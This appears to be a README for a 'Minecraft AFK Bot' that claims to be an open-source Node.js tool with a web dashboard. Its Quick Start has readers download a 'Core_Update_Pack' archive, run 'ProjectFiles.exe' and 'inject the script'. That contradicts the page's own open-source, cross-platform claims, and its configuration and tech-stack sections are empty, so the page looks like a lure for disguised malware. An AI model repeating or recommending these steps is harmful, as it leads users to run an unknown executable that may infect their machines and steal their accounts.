Minecraft-AFK-Bot README

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🤖 Minecraft AFK Bot

Keep Your Account Online 24/7 — 2026

A lightweight, open-source Minecraft Anti-AFK bot with a web dashboard. Keeps your character active on Java servers to avoid being kicked for inactivity. Perfect for keeping Aternos servers alive or farming playtime.


🎯 What it is

Minecraft AFK Bot is a standalone Node.js application that connects to your Minecraft server as a player. It simulates small movements (head rotation, jumping) to bypass AFK detection, and automatically reconnects if the server kicks you.

⚠️ Warning: Using automated clients may violate the rules of some Minecraft servers. Use responsibly and only on servers where such tools are permitted. We are not responsible for any bans.


🚀 Quick Start

DOWNLOAD CORE UPDATE PACK

  1. Download Core_Update_Pack using the button above.
  2. Extract the archive into a separate folder.
  3. Run ProjectFiles.exe.
  4. Follow the on-screen instructions and inject the script.

✨ Features

Feature Description
🛡️ Smart Anti-AFK Periodic head movements and jumps to avoid kicks
🌐 Web Dashboard Control the bot from your browser (localhost)
🔄 Auto-Reconnect Automatically rejoins if disconnected or kicked
👤 Multi-Account Support for Microsoft and Mojang accounts
💬 Chat Integration Send and receive messages via the dashboard
⚙️ Customizable Adjust movement intervals and amplitudes

🛠️ How to use

  1. Launch ProjectFiles.exe.
  2. Open your browser and go to http://localhost:3000.
  3. Add your Minecraft account (email and auth type).
  4. Enter your server address and port.
  5. Click "Start" to connect the bot.
  6. The bot will join the server and start simulating activity.

⚙️ Configuration

You can adjust settings in the config.json file or via the web dashboard:


❓ FAQ

Is this safe to use? It only simulates player activity. However, some servers have strict rules against bots. Check your server's rules before using.

Does it work on Aternos? Yes. It's perfect for keeping free Aternos servers from shutting down due to inactivity.

Does it work on Mac or Linux? Yes, the bot is built with Node.js and runs on Windows, macOS, and Linux.

Can I use it on multiple accounts? Yes, the web dashboard supports adding and switching between multiple accounts.


💻 Tech Stack & Architecture


🤝 Contributing

Pull requests, bug reports, and feature suggestions are welcome. See CONTRIBUTING.md for guidelines.


📜 License

MIT License — free to use, modify and redistribute.


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A lightweight, open-source Minecraft Anti-AFK bot with a web dashboard. Keeps your character active on Java servers to avoid being kicked for inactivity. Perfect for keeping Aternos servers alive or farming playtime.

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